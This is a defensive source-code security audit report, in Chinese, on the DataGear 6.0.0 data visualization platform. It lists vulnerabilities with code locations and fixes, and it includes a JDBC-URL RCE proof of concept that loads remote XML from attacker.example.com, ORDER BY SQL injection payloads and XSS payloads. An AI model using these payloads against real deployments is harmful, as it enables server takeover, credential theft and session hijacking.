DataGear 代码安全审计报告
审计对象:DataGear 6.0.0(开源数据可视化分析平台,Java 8 + Spring Boot 2.7 + MyBatis 3.3.1 + Spring Security 5)
审计方式:只读源码审计,未修改任何代码
审计时间:2026-08-12
审计范围:反序列化、命令执行 / RCE、SQL 注入、未授权访问、硬编码凭据、XSS、SSRF、越权
一、总体结论
DataGear 采用 Spring Security + 基于数据权限(DATA_PERMISSION)的 MyBatis 查询过滤体系,整体安全架构设计较为严谨:数据源读写、授权管理、表数据操作均有较完善的权限校验。但审计发现 5 项高/高危、15 项中危 漏洞,其中 一条由「开放注册 + 弱验证码 + 默认数据管理员角色 + 捆绑受 CVE 影响的 JDBC 驱动 + 无 URL 校验」串联的远程代码执行(RCE)链 最为严重——在默认配置下,互联网匿名攻击者注册账号后即可尝试触发。
越权 / 未授权访问专项结论(第 4 个专项代理 + 主审交叉验证): URL 层有较多匿名放行(
disableAnonymous=false默认开启),但未发现可绕过服务层数据权限校验的直接未授权越权——关键写入/删除均走getByIdForView/getByIdForEdit/update(user,entity)/deleteById(user,id)服务层校验。越权风险集中在 配置级放大:默认开放注册 + 注册即数据管理员(ROLE_DATA_ADMIN)使人人可进入高危操作面,叠加 H1/H2/H5 形成完整利用链。详见第四部分与第五部分。
高危漏洞清单(RCE / SQL 注入 / 未认证 XSS)
| # | 漏洞 | 严重度 | 影响 |
|---|---|---|---|
| H1 | JDBC URL 注入 → 远程代码执行(CVE-2022-21724 PostgreSQL 驱动) | 高危 | 服务器 RCE / 内网穿透 / SSRF |
| H2 | 全部分页接口 ORDER BY 排序注入 | 高危 | 数据库任意数据窃取(用户表、密码哈希) |
| H3 | remember-me 硬编码签名密钥 DG_REMEMBER_ME_KEY |
高危 | 伪造任意用户登录 Cookie,提权 |
| H4 | 登录页 redirect 参数 javascript: 反射型 XSS(兼开放重定向) |
高危 | 已认证会话任意 JS 执行 / 钓鱼 |
| H5 | HTTP 数据集任意 URL 请求(SSRF) | 高 | 内网探测、云元数据读取、内网接口操作 |
中危漏洞清单
| # | 漏洞 | 严重度 |
|---|---|---|
| M1 | 数据源密码 / 看板分享密码加密密钥硬编码("DataGear") |
中 |
| M2 | 内置默认账号 admin/admin,密码哈希算法弱(SHA-256 链) | 中 |
| M3 | 开放注册 + 注册用户默认授予数据管理员角色 | 中 |
| M4 | 4 位数字验证码使用 new Random() 生成,可爆破 |
中 |
| M5 | 数据源 URL 构建器 url 参数 </script> 逃逸反射型 XSS |
中高 |
| M6 | 看板内联图表 JSON 未 HTML 转义 → 数据集名称存储型 XSS | 中 |
| M7 | 只读 SQL 校验黑名单可绕过(MySQL /*! */ 可执行注释、缺 CALL/LOAD_FILE/OUTFILE) |
中 |
| M8 | 数据源默认不加密存储密码({noop} 明文) |
中 |
| M9 | ZIP 解压绝对路径条目(zip-slip,Windows 平台) | 低-中 |
| M10 | 全局关闭 CSRF(http.csrf().disable()) |
中 |
| M11 | 全局关闭 X-Frame-Options(可被 iframe 点击劫持) | 中 |
| M12 | 重置密码仅凭「服务器校验文件存在」,无邮箱/令牌 | 中(需人工验证写入来源) |
| M13 | 看板全局资源接口 showGlobalResource 无看板 ID/权限校验 |
中 |
| M14 | 看板分享密码校验为会话级限流,可新开会话无限爆破;已登录用户跳过密码 | 中 |
| M15 | FileSource 目录浏览/下载 Windows 正斜杠 ../../ 路径穿越 |
中(Windows 部署需验证) |
二、高危漏洞详情
H1:JDBC URL 注入 → 远程代码执行(RCE)【条件性高危,默认配置可利用】
利用链路(默认配置下成立):
互联网攻击者
→ 1. 注册账号(开放注册,默认开启)
→ 2. 新用户自动获得 ROLE_DATA_ADMIN(数据管理员)角色
→ 3. 拥有 /dtbsSource/testConnection 与 /dtbsSource/saveEdit 访问权
→ 4. 提交恶意 JDBC URL(无任何协议/参数校验)
→ 5. 服务器使用捆绑的 postgresql-42.2.19.jar(受 CVE-2022-21724 影响)建立连接
→ 6. socketFactory 参数触发 Spring ClassPathXmlApplicationContext 加载远端 XML
→ 7. 服务器端任意代码执行
关键代码位置:
datagear-web/src/main/java/org/datagear/web/controller/DtbsSourceController.java:167-191(saveEdit)与:271-303(testConnection)checkSaveEntity(:426-431)仅校验 URL 非空,无协议/主机/参数白名单;testConnection直接对用户提交的DtbsSource建立 JDBC 连接,无需先保存。
datagear-management/src/main/java/org/datagear/management/util/DtbsSourceConnectionSupport.java:62-97- 将用户可控的 URL、连接属性(
DtbsSourceProperty)组装成ConnectionOption。
- 将用户可控的 URL、连接属性(
datagear-connection/src/main/java/org/datagear/connection/DefaultConnectionSource.java:179-182- 按 URL 前缀自动匹配驱动并
driver.connect(url, properties)。
- 按 URL 前缀自动匹配驱动并
datagear-web/src/main/java/org/datagear/web/config/SecurityConfigSupport.java:492-494/dtbsSource/add|saveAdd|edit|saveEdit|testConnection|delete由dataManagerAuthorizationManager()保护;AuthenticationSecurity.java:68-77:hasDataManager()拒绝匿名,但对 ROLE_DATA_ADMIN 返回 true。
datagear-management/src/main/resources/org/datagear/management/ddl/datagear.sql+application.properties:132defaultRole.register=ROLE_DATA_ADMIN—— 注册用户即数据管理员(RoleSpec.ROLE_DATA_MANAGER = "ROLE_DATA_ADMIN")。
datagear-web/src/main/resources/org/datagear/web/builtInDriverEntity.zip- 内置驱动库捆绑
postgresql-42.2.19.jar(受 CVE-2022-21724 影响;修复版本 ≥ 42.2.23)。
- 内置驱动库捆绑
datagear-management/src/main/java/org/datagear/management/util/DtbsSourceGuardChecker.java:61-81- 数据源防护默认
permitted=true,未配置规则时放行一切 URL。
- 数据源防护默认
PoC 概念(PostgreSQL):
POST /dtbsSource/testConnection
Content-Type: application/json
{
"title": "poc",
"url": "jdbc:postgresql://attacker.example.com:5432/db?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker.example.com/evil.xml",
"user": "postgres",
"password": ""
}
说明:
- 该漏洞本质是「用户可控 JDBC URL / 连接属性直达服务端驱动加载」这一设计缺陷,叠加默认开放注册、默认数据管理员角色、默认放行的数据源防护、以及捆绑的受 CVE 影响的驱动版本,构成真实可利用的 RCE 链。
- 其他驱动亦可带来同类风险:H2
INIT=RUNSCRIPT、MSSQLxp_cmdshell等。 - 连接属性(
DtbsSourceProperty)同样用户可控,可注入socketFactory、loggerFile等危险驱动参数。 - 即使不考虑 RCE,该接口也可作为 SSRF 用于探测内网任意 host:port。
修复建议:
- 默认启用数据源防护(URL 模式黑白名单),拒绝内网/保留地址、限制协议;
- 对 JDBC URL 做解析校验,禁止
socketFactory/sslfactory/socketFactoryArg/INIT等危险连接参数; - 升级内置 PostgreSQL 驱动至 ≥ 42.2.23;
- 默认关闭开放注册,或注册用户默认授予较低角色(如仅 ROLE_DATA_ANALYST);
- 默认开启数据源密码加密(
crypto.enabled=true)。
H2:全部分页接口 ORDER BY 排序注入(SQL 注入)
漏洞位置:
datagear-management/src/main/resources/org/datagear/management/mapper/commonSqls.xml:16<sql id="queryOrder"> <if test="queryOrder != null"> ORDER BY ${queryOrder} </if> </sql>datagear-management/src/main/java/org/datagear/management/util/dialect/MbSqlDialect.java:119-123(quote())与:182-210(setQueryOrderParam())public String quote(String identifier) { String iq = getIdentifierQuote(); // MySQL 为 ` ,PostgreSQL 为 " return iq + identifier + iq; // 未对标识符内嵌引号转义 }datagear-util/src/main/java/org/datagear/util/query/Order.java:37(name字段无校验)
攻击链:
POST /xxx/pagingQueryData
Content-Type: application/json
{ "orders": [{ "name": "<payload>", "type": "ASC" }] }
PagingQuery(继承 Query,datagear-persistence/Query.java:41)的 orders[].name 由 Jackson 直接绑定、无白名单/过滤,经 AbstractMybatisService.java:407 → setQueryOrderParam → quote() 拼入 ${queryOrder},最终执行 ORDER BY ${queryOrder}。
- MySQL(标识符引号
`),用#注释吞掉服务端追加的` ASC:name = "x` ASC, (SELECT CASE WHEN (<条件>) THEN 1 ELSE (SELECT 1/0) END) #" → ORDER BY `x` ASC, (SELECT CASE WHEN (...) THEN 1 ELSE (SELECT 1/0) END) #` ASC - PostgreSQL(标识符引号
"),用--注释:name = "x\" ASC, (SELECT CASE WHEN (<条件>) THEN 1 ELSE 1/0 END) --" → ORDER BY "x" ASC, (SELECT CASE WHEN (...) THEN 1 ELSE 1/0 END) --" ASC
影响: 影响所有引用 common.queryOrder 的管理端分页接口(用户、角色、授权、数据集、数据源、看板、图表、分析项目等)。可通过错误型/布尔盲注窃取 DataGear 自身数据库中的任意数据(包括用户表、密码哈希)。前置条件:已登录且具备 DATA_ANALYST 及以上角色(注册用户天然满足)。
修复建议:
MbSqlDialect.quote()复用JdbcUtil.quote()(对引号做双写转义);- 对
Order.name做标识符白名单校验(如^[A-Za-z_][A-Za-z0-9_.]*$)。
H3:remember-me 签名密钥硬编码 → 任意用户登录 Cookie 伪造
漏洞位置:
datagear-web/src/main/java/org/datagear/web/config/support/FormLoginConfgBean.java:253-255.and().rememberMe().key(Global.NAME_SHORT_UCUS + "REMEMBER_ME_KEY") .tokenValiditySeconds(60 * 60 * 24 * 365).rememberMeParameter(this.loginParamRememberMe) .rememberMeCookieName(Global.NAME_SHORT_UCUS + "REMEMBER_ME");datagear-util/src/main/java/org/datagear/util/Global.java:55:NAME_SHORT_UCUS = "DG_"
说明: remember-me 令牌签名密钥硬编码为 DG_REMEMBER_ME_KEY,有效期 1 年。攻击者掌握密钥后可自行构造 DG_REMEMBER_ME Cookie 的签名(需配合已知用户名),伪造任意用户(包括 admin)的身份,无需密码。属于典型的硬编码密钥导致的身份伪造漏洞。
修复建议: 从配置/环境变量读取随机密钥,禁止硬编码;tokenValiditySeconds 建议缩短;对 remember-me Cookie 设置 Secure 属性。
H4:登录页 redirect 参数 javascript: 反射型 XSS(兼开放重定向)
漏洞位置:
datagear-web/src/main/java/org/datagear/web/controller/LoginController.java:172-174String redirect = request.getParameter(REDIRECT_PARAM_NAME); if (!StringUtil.isEmpty(redirect)) model.addAttribute("redirect", redirect); // 无任何校验datagear-web/src/main/resources/org/datagear/web/templates/login.ftl:104,136-146po.customRedirect = "${redirect!''}"; <!-- <script> 块内,HTML 自动转义但对 javascript: 无效 --> ... if(po.customRedirect) { url = po.customRedirect; } ... (window.top ? window.top : window).location.href = url; <!-- javascript: URL 在此执行 -->/login/**为permitAll(SecurityConfigSupport.java:738),无需认证即可访问。
说明: javascript:alert(document.cookie) 不含 HTML 特殊字符,FreeMarker 的 HTML 自动转义不会改变它;登录成功后 location.href 被赋值为 javascript: URL,在现代浏览器中执行脚本。利用场景:诱骗用户点击恶意链接 → 用户登录 → 在已认证会话中执行任意 JS(窃取会话/操作权限)。该参数同样可作开放重定向(redirect=https://evil.com,登录后携带会话跳转钓鱼站)。
修复建议: 对 redirect 仅允许站内相对路径(以 contextPath 开头),拒绝 javascript:、data: 等协议;或使用白名单域名校验。
H5:HTTP 数据集任意 URL 请求(SSRF)
漏洞位置:
datagear-analysis/src/main/java/org/datagear/analysis/support/HttpDataSet.java:375-406(resolveResult执行请求)、:488-504(任意请求头)、:554-579(createHttpRequest支持 GET/POST/PUT/PATCH/DELETE)datagear-web/src/main/java/org/datagear/web/controller/DataSetController.java:1424-1432(保存校验仅判uri非空)datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java:382-384(HttpClients.createDefault(),默认跟随重定向,无 SSRF 加固)
说明: HTTP 数据集允许数据分析员自定义任意 URL、方法、请求头、请求体,服务器用 Apache HttpClient 发起请求并返回响应内容。无 URL 协议白名单、无内网/保留地址黑名单、无 DNS 重绑定防护。可访问 127.0.0.1、内网地址、云元数据 169.254.169.254;可自定义 Host/Authorization 头;可 POST/DELETE 内网管理接口。数据源防护(DtbsSourceGuard)只作用于 JDBC 数据源,未覆盖 HTTP 数据集。自注册用户即数据分析员,低权限即可构造 SSRF。
修复建议: HTTP 数据集复用 DtbsSourceGuard 或新增独立防护:拒绝 127.0.0.1、169.254.169.254、保留/内网网段,限制协议 http/https,限制关键请求头与重定向。
三、中危漏洞详情
M1:数据源密码 / 看板分享密码加密密钥硬编码
datagear-web/src/main/resources/org/datagear/web/application.properties:191-207dtbsSourcePsd.crypto.secretKey=RGF0YUdlYXI= # = Base64("DataGear") dtbsSourcePsd.crypto.salt=4461746147656172 # = Hex("DataGear") dashboardSharePsd.crypto.secretKey=... # 同理 dashboardSharePsd.crypto.salt=... crypto.enabled=false # 默认不加密datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java:708-721,884-897:创建DelegatingTextEncryptor时使用上述固定密钥。DelegatingTextEncryptor(datagear-web/src/main/java/org/datagear/web/util/DelegatingTextEncryptor.java):- 密钥
DataGear为公开常量,任何掌握源码者可解密所有以{std}前缀存储的数据源密码/看板分享密码; {noop}前缀为明文存储;- 加密算法为 Spring
Encryptors.text= AES/CBC/PKCS5Padding + PBKDF2 密钥派生,密钥一旦公开即失去保密性。
- 密钥
修复建议: 密钥从环境变量/配置文件读取且随部署随机生成;默认开启加密(crypto.enabled=true)。
M2:内置默认账号 admin/admin
datagear-management/src/main/resources/org/datagear/management/ddl/datagear.sql:27-28INSERT INTO DATAGEAR_USER VALUES('admin','admin', '4c6d8d058a4db956...', ...)该哈希为 SHA-256 链式 1024 次迭代后的
"admin"值(并带{sha256}前缀),属弱口令 + 弱哈希组合。
修复建议: 首次启动强制修改 admin 密码;内置密码使用 bcrypt/argon2 强哈希;或首次登录强制改密。
M3:开放注册 + 默认授予数据管理员角色
application.properties:132:defaultRole.register=ROLE_DATA_ADMINRegisterController.doRegister(datagear-web/.../RegisterController.java:145-183):user.setAdmin(false),但角色为数据管理员;验证码为 4 位数字。
说明: 默认开放注册且新用户自动成为「数据管理员」(可管理数据源、执行 testConnection 等)。该配置显著放大 H1、H5 的影响面——攻击者无需拥有既有账号即可进入高危操作面。
修复建议: 默认关闭注册(disableRegister=true)或注册用户默认授予 ROLE_DATA_ANALYST。
M4:4 位数字验证码使用 new Random()
datagear-web/src/main/java/org/datagear/web/util/CheckCodeManager.java:96:Random random = new Random();java.util.Random非密码学安全随机数,且不设种子,可预测;验证码空间仅10^4 = 10000,可爆破注册/登录/重置密码验证码。
修复建议: 使用 SecureRandom,加长验证码或使用图形+干扰项;增加失败次数限制。
M5:数据源 URL 构建器 url 参数 </script> 逃逸反射型 XSS
datagear-web/src/main/java/org/datagear/web/controller/DtbsSourceUrlBuilderController.java:124-132datagear-web/src/main/resources/org/datagear/web/templates/dtbsSourceUrlBuilder/dtbsSourceUrlBuilder_build.ftl:101po.initUrl = "${(url!'')?js_string?no_esc}";?js_string只转义 JS 字符串字符,不转义</>;?no_esc又关闭 HTML 自动转义。url=</script><script>alert(document.cookie)</script>可闭合脚本块执行。前置:数据分析员角色。
M6:看板内联图表 JSON 未 HTML 转义 → 数据集名称存储型 XSS
datagear-analysis/src/main/java/org/datagear/analysis/support/html/HtmlChartScriptObjectWriter.java:75-78datagear-analysis/src/main/java/org/datagear/analysis/support/JsonSupport.java:198-204(ObjectMapper 未启用 HTML 转义)- 看板页面以
<script>var 图表变量={...};</script>内联图表对象;Jackson 不转义</>。若数据集名称(或参数名/默认值)含</script>,看板查看者触发 XSS。
M7:只读 SQL 校验黑名单可绕过
datagear-web/src/main/resources/org/datagear/webapp/src/dist/bin/config/application.properties:102-115(只读黑名单)datagear-web/src/main/java/org/datagear/web/sqlpad/SqlpadExecutionService.java:563-567datagear-util/src/main/java/org/datagear/util/sqlvalidator/SqlSimplifier.java/InvalidPatternSqlValidator.java
说明: sqlpad 执行 SQL 前按数据源权限选择 read/edit/delete 校验器(DtbsSourceSqlPermissionValidator,datagear-management/.../util/DtbsSourceSqlPermissionValidator.java:87-105),校验与执行同一 SQL 字符串(无 TOCTOU),但校验器为关键字黑名单,可绕过:
- MySQL 可执行注释
/*!50000 ... */:SqlSimplifier剥离块注释后黑名单关键字不可见,但 MySQL 实际执行注释体; - 只读黑名单缺
CALL(可调用存储过程改数据)、INTO OUTFILE/LOAD_FILE/INTO DUMPFILE(可读写服务器文件,需 FILE 权限)。
说明: 数据集查询复用同类校验器,存在同类绕过面。危害取决于数据源连接账号的数据库权限。
M8:数据源默认明文存储密码
- 默认
crypto.enabled=false;DelegatingTextEncryptorNOOP 分支以{noop}明文存储数据源密码。
M9:ZIP 解压绝对路径条目(zip-slip,Windows 平台)
datagear-util/src/main/java/org/datagear/util/IOUtil.java:824-894(doUnzip)、FileUtil.java:801-807../穿越已被FileUtil.checkBackwardPathNoTrim拦截,Unix 下绝对路径条目new File(parent, "/abs")实测仍落在目标目录内(不可利用);Windows 下trimPath将/换为\,形如C:/evil的条目变为C:\evil,不被拦截且会忽略 parent → 潜在任意文件写入。- 上传面:图表插件上传(admin-only)、看板导入(普通用户可用)、数据源导入。
M10:全局关闭 CSRF 防护
datagear-web/src/main/java/org/datagear/web/config/SecurityConfigSupport.java:188:http.csrf().disable()- 所有写操作仅依赖会话 Cookie 与同源 JSON,存在跨站请求伪造攻击面:可诱导已登录用户触发数据源删除、数据集修改、SQL 执行等写操作(同源 JSON 由
X-Requested-With等头识别,无法用传统<form>提交,但 JSONP/text/plain技巧与 CORS 配置放松时仍可构造)。属纵深防御缺失,独立危害有限,但与 H3 会话伪造叠加放大。
M11:全局关闭 X-Frame-Options
SecurityConfigSupport.java:200:http.headers().frameOptions().disable()- 管理页面可被第三方页面 iframe 嵌入,存在点击劫持(点击劫持诱导管理员执行危险操作)与 UI 伪装风险。看板分享 iframe 是产品功能(需放行),但管理端页面应保留
frameOptions限制。
M12:重置密码仅凭「服务器校验文件存在」,无邮箱/令牌(需人工验证)
datagear-web/src/main/java/org/datagear/web/controller/ResetPasswordController.java:166,204-231,254/resetPassword/fillUserInfo只需提交用户名即可推进到创建校验文件;checkUserInfo仅检查服务器某目录下存在同名文件;setNewPassword无额外认证直接改密。- 若攻击者能通过其他渠道(如文件上传、数据源导入落盘)向该校验目录写入同名文件,或服务器目录可控,则可重置任意用户(含 admin)密码。需人工验证该校验文件目录的实际写入来源。
M13:看板全局资源接口无看板 ID / 权限校验
datagear-web/src/main/java/org/datagear/web/controller/DashboardVisualController.java:654-691(showGlobalResource)/dashboard/globalResource/{globalResPrefixName}/**匿名放行,直接按文件名取全局资源根目录下文件。受FileUtil.getFile路径校验限制(Linux/macOS 阻断../),未授权读取面有限;但「全局资源」文件一旦落入目录即可被匿名读取,宜收紧为看板视图权限门控。
M14:看板分享密码为会话级限流,可绕过
DashboardVisualController.showAuthCheck(:315-375)与isShowAuthed(:385-401)- 分享密码错误次数限制在会话维度(
DashboardShowAuthCheckManager),攻击者新开浏览器会话即可无限爆破 4 位数字密码;且对已登录用户跳过密码校验(isShowAuthed直接放行)。 - 影响:可查看受密码保护的分享看板内容(分享数据本身仍受视图权限约束,仅泄露看板可视化内容)。
M15:FileSource 目录浏览/下载 Windows 正斜杠路径穿越(需验证)
datagear-util/src/main/java/org/datagear/util/FileUtil.java(getFileNullable→checkBackwardPathNoTrim)- Linux/macOS(
PATH_SEPARATOR='/')下../被阻断抛 500;但 Windows(PATH_SEPARATOR='\')下可用正斜杠../../绕过检查,实现任意文件读取/覆盖。涉及:DashboardVisualController.showResource/showGlobalResource、DashboardGlobalResController.view/download、DtbsSourceExchangeController.exptDownload。 - 生产 Linux 部署已阻断;Windows 部署需人工验证。
四、已排查但未发现的问题
以下类别经全库排查与调用链验证,未发现可利用漏洞:
- Java 反序列化:主源码无
ObjectInputStream/readObject/XMLDecoder/XStream/SnakeYAML/Jackson 多态反序列化使用。PathClassLoader仅为URLClassLoader子类(误报)。 - 命令执行(Runtime.exec/ProcessBuilder):全库无直接调用。
- Freemarker 模板注入 RCE:已加固——
DataSetFmkTemplateResolver禁用?new(ALLOWS_NOTHING_RESOLVER)与?api(setAPIBuiltinEnabled(false)),模板内无法实例化类/调用任意 Java 方法。 - SpEL 表达式注入:
DataSetFieldExpEvaluator使用SimpleEvaluationContext+ 只读属性访问 + AST 层禁用危险节点(TypeReference/MethodReference/ConstructorReference/BeanReference等),T(java.lang.Runtime)...在解析期被拒。 - 数据权限查询注入:
commonDataPermissionSqls.xml内${DP_*}全部来自服务端/会话常量,非用户输入,未发现可注释掉AND条件的注入点。 - 授权管理越权:
Authorization.canAuthorize(Authorization.java:406-426)要求资源创建者且具 DELETE 权限,isAllowAuthorization要求资源存在且用户可访问——无法通过授权接口自我提权。 - 表数据操作越权:
DtbsSourceDataController的读/编辑/删除操作分别校验checkReadTableDataPermission/checkEditTableDataPermission/checkDeleteTableDataPermission。 - sqlpad 只读越权:sqlpad
executeSql虽仅要求读权限,但执行前经DtbsSourceSqlPermissionValidator按用户 dataPermission 选择 read 校验器,READ 用户的校验器拦截INSERT/UPDATE/DELETE等写关键字(黑名单绕过风险见 M7,但非直接提权)。 - 看板资源路径穿越(Linux/macOS):
FileTplDashboardWidgetResManager.getFile+DashboardController.trimResourceName双重校验,../拦截有效(Windows 正斜杠绕过见 M15)。 - 看板分享数据权限越权:分享状态看板的数据查询
pagingQueryData走canRead视图权限,未发现绕过分享权限直接读取底层数据。 - sqlpad 未授权执行:
sqlpad/sqlEditor/dtbsSourceData入口均校验数据源读/写权限(getDtbsSourceForUserNotNull/checkReadTableDataPermission/checkEditTableDataPermission),未发现未授权执行 SQL 的路径(只读校验黑名单绕过见 M7)。 - 数据源密码接口回显:
DtbsSourceController.toFormResponseData/toQueryResponseData与DataSetController.toFormResponseData均调用entity.clearPassword(),接口层未发现密码明文返回。 - 用户/角色/授权管理 IDOR:
/user/**、/role/**由 admin 门控;绝大多数 ID 操作正确走getByIdForView/getByIdForEdit/update(user,entity)/deleteById(user,id)服务层校验,IDOR 面较窄。
五、低危 / 信息项
| 位置 | 问题 |
|---|---|
SecurityConfigSupport.java:833 |
兜底 /** = accessAuthorizationManager()(匿名可访问)——未显式列入白名单的 URL 对匿名用户开放,靠服务层数据权限兜底;配合默认开放注册放大利用面(见 M3/H1) |
SecurityConfigSupport.java:973-982 |
StrictHttpFirewall.setAllowSemicolon(true) 允许分号,配合框架可造成参数走私/歧义(实际危害依赖具体路由) |
AnonymousAuthenticationFilterExt:131-162 |
匿名身份基于 Cookie UUID 识别,10 年有效,可跨会话伪造(会话固定风险);Cookie 未设 Secure/HttpOnly |
IDUtil.java |
使用 Math.random() 生成 ID(randomIdOnTime20 等),非加密随机 |
| 测试/示例配置 | 存在 root/root 等测试凭据(非生产代码) |
| 匿名 Cookie | DG_USER_ID_ANONYMOUS 未设置 Secure/HttpOnly,10 年有效期 |
| 看板预览 iframe | 无 sandbox 属性(同源设计) |
| 登录失败锁定 | 有 IP/用户名锁定(LoginLatchFilter),但验证码/注册接口无同等限制 |
main.ftl:55 |
${welcomeContent?no_esc} 管理员配置内容未转义(管理员可控,属既定功能) |
AbstractDbDialectBuilder |
数据库产品名含 . 时 Class.forName + newInstance(仅限类路径已有类,低危) |
六、修复优先级建议
| 优先级 | 行动 |
|---|---|
| P0(立即) | 1. 修复 H2 ORDER BY 注入(quote() 转义 + 标识符白名单);<br>2. 修复 H3 remember-me 硬编码密钥;<br>3. 修复 H4 登录 redirect XSS; |
| P0(立即) | 4. 默认启用数据源防护、升级捆绑 PostgreSQL 驱动、校验 JDBC URL 危险参数(H1);<br>5. 默认关闭开放注册或降级注册角色(M3); |
| P1(尽快) | 6. HTTP 数据集 SSRF 加固(H5);<br>7. 加密密钥改为环境变量 + 默认开启加密(M1);<br>8. 强制修改默认 admin 密码(M2);<br>9. 重置密码流程增加邮箱/令牌等强校验(M12);<br>10. 看板全局资源与分享密码:加视图权限门控 + 全局/IP 维度限流(M13/M14); |
| P2(计划) | 11. 验证码 SecureRandom + 强化(M4);<br>12. 移除 ?js_string?no_esc 组合、JSON 内联启用 HTML 转义(M5/M6);<br>13. 完善只读 SQL 黑名单(补 CALL/LOAD_FILE/OUTFILE,处理 /*! 注释)(M7);<br>14. Windows 下验证并修复 zip-slip 与正斜杠路径穿越(M9/M15);<br>15. 按路由差异化恢复 CSRF 与 X-Frame-Options(M10/M11);<br>16. 人工验证 AuthorizationMapper.xml:146 ${queryContext.resource} 是否可达(见「需人工验证」清单)。 |
七、需人工验证清单
| 项 | 说明 | 验证方法 |
|---|---|---|
| M12 重置密码校验文件写入来源 | checkUserInfo 仅检查服务器某目录下存在同名文件 |
确认该目录是否有可控写入面(文件上传/导入落盘路径是否可指向) |
| M15 Windows 正斜杠路径穿越 | FileUtil.getFileNullable 在 Windows 用 \ 分隔,../../ 正斜杠可绕过 |
Windows 部署下对 showResource/exptDownload 实测 %2e%2e%2f |
AuthorizationMapper.xml:146 |
${queryContext.resource} 拼接,受资源归属门控 |
验证是否有非创建者路径可注入资源字段 |
| M7 sqlpad 只读绕过 | 缺 CALL/LOAD_FILE/OUTFILE 黑名单;/*! 可执行注释被剥离后黑名单不可见 |
用只读数据源账号实测存储过程调用与 INTO OUTFILE(需 DB 账号相应权限) |
| M10 CSRF 实际可利用性 | 同源 JSON 需配合 CORS/text/plain 技巧 |
实测跨站能否触发写接口 |